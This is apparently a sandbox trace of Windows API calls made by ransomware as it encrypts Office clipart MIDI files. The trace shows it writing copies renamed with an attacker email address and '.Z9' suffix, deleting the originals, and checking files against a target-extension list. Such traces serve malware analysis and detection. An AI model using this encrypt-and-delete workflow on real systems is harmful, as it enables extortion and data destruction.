	[0167.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.147] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10122) returned 1
	[0167.147] CloseHandle (hObject=0x4d0) returned 1
	[0167.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220
	[0167.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.148] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.148] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0167.149] GetLastError () returned 0x0
	[0167.149] ReadFile (in: hFile=0x4d0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x278a, lpOverlapped=0x0) returned 1
	[0167.151] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2790, lpOverlapped=0x0) returned 1
	[0167.152] ReadFile (in: hFile=0x4d0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.152] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.152] SetEndOfFile (hFile=0x4b8) returned 1
	[0167.152] CloseHandle (hObject=0x4b8) returned 1
	[0167.152] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.153] SetEndOfFile (hFile=0x4d0) returned 1
	[0167.156] CloseHandle (hObject=0x4d0) returned 1
	[0167.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1
	[0167.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.157] lstrlenW (lpString=".doc") returned 4
	[0167.157] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.157] lstrlenW (lpString=".docx") returned 5
	[0167.157] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.157] lstrlenW (lpString=".pdf") returned 4
	[0167.157] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.157] lstrlenW (lpString=".xls") returned 4
	[0167.157] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.157] lstrlenW (lpString=".xlsx") returned 5
	[0167.157] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.157] lstrlenW (lpString=".ppt") returned 4
	[0167.157] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.157] lstrlenW (lpString=".zip") returned 4
	[0167.157] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.157] lstrlenW (lpString=".rar") returned 4
	[0167.157] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.157] lstrlenW (lpString=".bz2") returned 4
	[0167.157] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.157] lstrlenW (lpString=".7z") returned 3
	[0167.157] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.158] lstrlenW (lpString=".dbf") returned 4
	[0167.158] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.158] lstrlenW (lpString=".1cd") returned 4
	[0167.158] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.158] lstrlenW (lpString=".jpg") returned 4
	[0167.158] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.158] lstrlenW (lpString=".doc") returned 4
	[0167.158] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.158] lstrlenW (lpString=".docx") returned 5
	[0167.158] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.158] lstrlenW (lpString=".pdf") returned 4
	[0167.158] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.158] lstrlenW (lpString=".xls") returned 4
	[0167.158] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.158] lstrlenW (lpString=".xlsx") returned 5
	[0167.158] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.158] lstrlenW (lpString=".ppt") returned 4
	[0167.158] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.158] lstrlenW (lpString=".zip") returned 4
	[0167.158] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.158] lstrlenW (lpString=".rar") returned 4
	[0167.158] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.158] lstrlenW (lpString=".bz2") returned 4
	[0167.158] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.158] lstrlenW (lpString=".7z") returned 3
	[0167.158] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.158] lstrlenW (lpString=".dbf") returned 4
	[0167.158] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.159] lstrlenW (lpString=".1cd") returned 4
	[0167.159] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0167.159] lstrlenW (lpString=".jpg") returned 4
	[0167.159] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.159] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0167.159] lstrlenW (lpString="SCHOL_02.MID") returned 12
	[0167.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.160] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=5058) returned 1
	[0167.160] CloseHandle (hObject=0x4d0) returned 1
	[0167.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220
	[0167.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.161] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.161] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0167.162] GetLastError () returned 0x0
	[0167.162] ReadFile (in: hFile=0x4d0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x13c2, lpOverlapped=0x0) returned 1
	[0167.231] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x13d0, lpOverlapped=0x0) returned 1
	[0167.232] ReadFile (in: hFile=0x4d0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.232] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.232] SetEndOfFile (hFile=0x4b8) returned 1
	[0167.232] CloseHandle (hObject=0x4b8) returned 1
	[0167.233] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.233] SetEndOfFile (hFile=0x4d0) returned 1
	[0167.236] CloseHandle (hObject=0x4d0) returned 1
	[0167.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1
	[0167.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.239] lstrlenW (lpString=".doc") returned 4
	[0167.239] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.240] lstrlenW (lpString=".docx") returned 5
	[0167.240] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0167.240] lstrlenW (lpString=".pdf") returned 4
	[0167.240] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.240] lstrlenW (lpString=".xls") returned 4
	[0167.240] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.240] lstrlenW (lpString=".xlsx") returned 5
	[0167.240] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0167.240] lstrlenW (lpString=".ppt") returned 4
	[0167.240] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.240] lstrlenW (lpString=".zip") returned 4
	[0167.240] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.240] lstrlenW (lpString=".rar") returned 4
	[0167.240] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.240] lstrlenW (lpString=".bz2") returned 4
	[0167.240] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.240] lstrlenW (lpString=".7z") returned 3
	[0167.240] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.240] lstrlenW (lpString=".dbf") returned 4
	[0167.240] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.240] lstrlenW (lpString=".1cd") returned 4
	[0167.240] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.240] lstrlenW (lpString=".jpg") returned 4
	[0167.240] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.240] lstrlenW (lpString=".doc") returned 4
	[0167.240] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.240] lstrlenW (lpString=".docx") returned 5
	[0167.240] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0167.240] lstrlenW (lpString=".pdf") returned 4
	[0167.241] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.241] lstrlenW (lpString=".xls") returned 4
	[0167.241] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.241] lstrlenW (lpString=".xlsx") returned 5
	[0167.241] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0167.241] lstrlenW (lpString=".ppt") returned 4
	[0167.241] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.241] lstrlenW (lpString=".zip") returned 4
	[0167.241] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.241] lstrlenW (lpString=".rar") returned 4
	[0167.241] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.241] lstrlenW (lpString=".bz2") returned 4
	[0167.241] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.241] lstrlenW (lpString=".7z") returned 3
	[0167.241] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.241] lstrlenW (lpString=".dbf") returned 4
	[0167.241] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.241] lstrlenW (lpString=".1cd") returned 4
	[0167.241] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0167.241] lstrlenW (lpString=".jpg") returned 4
	[0167.241] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.241] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0167.241] lstrlenW (lpString="SHOW_01.MID") returned 11
	[0167.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.242] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=6392) returned 1
	[0167.242] CloseHandle (hObject=0x4d0) returned 1
	[0167.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220
	[0167.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.243] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.243] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0167.243] GetLastError () returned 0x0
	[0167.243] ReadFile (in: hFile=0x4d0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x18f8, lpOverlapped=0x0) returned 1
	[0167.245] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1900, lpOverlapped=0x0) returned 1
	[0167.247] ReadFile (in: hFile=0x4d0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.247] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xea, lpOverlapped=0x0) returned 1
	[0167.247] SetEndOfFile (hFile=0x4b8) returned 1
	[0167.247] CloseHandle (hObject=0x4b8) returned 1
	[0167.247] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.247] SetEndOfFile (hFile=0x4d0) returned 1
	[0167.250] CloseHandle (hObject=0x4d0) returned 1
	[0167.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1
	[0167.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.251] lstrlenW (lpString=".doc") returned 4
	[0167.251] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.251] lstrlenW (lpString=".docx") returned 5
	[0167.251] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.251] lstrlenW (lpString=".pdf") returned 4
	[0167.251] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.251] lstrlenW (lpString=".xls") returned 4
	[0167.251] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.251] lstrlenW (lpString=".xlsx") returned 5
	[0167.251] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.251] lstrlenW (lpString=".ppt") returned 4
	[0167.251] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.251] lstrlenW (lpString=".zip") returned 4
	[0167.251] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.251] lstrlenW (lpString=".rar") returned 4
	[0167.251] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.251] lstrlenW (lpString=".bz2") returned 4
	[0167.251] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.251] lstrlenW (lpString=".7z") returned 3
	[0167.251] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.252] lstrlenW (lpString=".dbf") returned 4
	[0167.252] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.252] lstrlenW (lpString=".1cd") returned 4
	[0167.252] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.252] lstrlenW (lpString=".jpg") returned 4
	[0167.252] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.252] lstrlenW (lpString=".doc") returned 4
	[0167.252] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.252] lstrlenW (lpString=".docx") returned 5
	[0167.252] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.252] lstrlenW (lpString=".pdf") returned 4
	[0167.252] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.252] lstrlenW (lpString=".xls") returned 4
	[0167.252] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.252] lstrlenW (lpString=".xlsx") returned 5
	[0167.252] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.252] lstrlenW (lpString=".ppt") returned 4
	[0167.252] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.252] lstrlenW (lpString=".zip") returned 4
	[0167.252] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.252] lstrlenW (lpString=".rar") returned 4
	[0167.252] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.252] lstrlenW (lpString=".bz2") returned 4
	[0167.252] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.252] lstrlenW (lpString=".7z") returned 3
	[0167.252] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.252] lstrlenW (lpString=".dbf") returned 4
	[0167.253] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.253] lstrlenW (lpString=".1cd") returned 4
	[0167.253] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0167.253] lstrlenW (lpString=".jpg") returned 4
	[0167.253] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.253] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
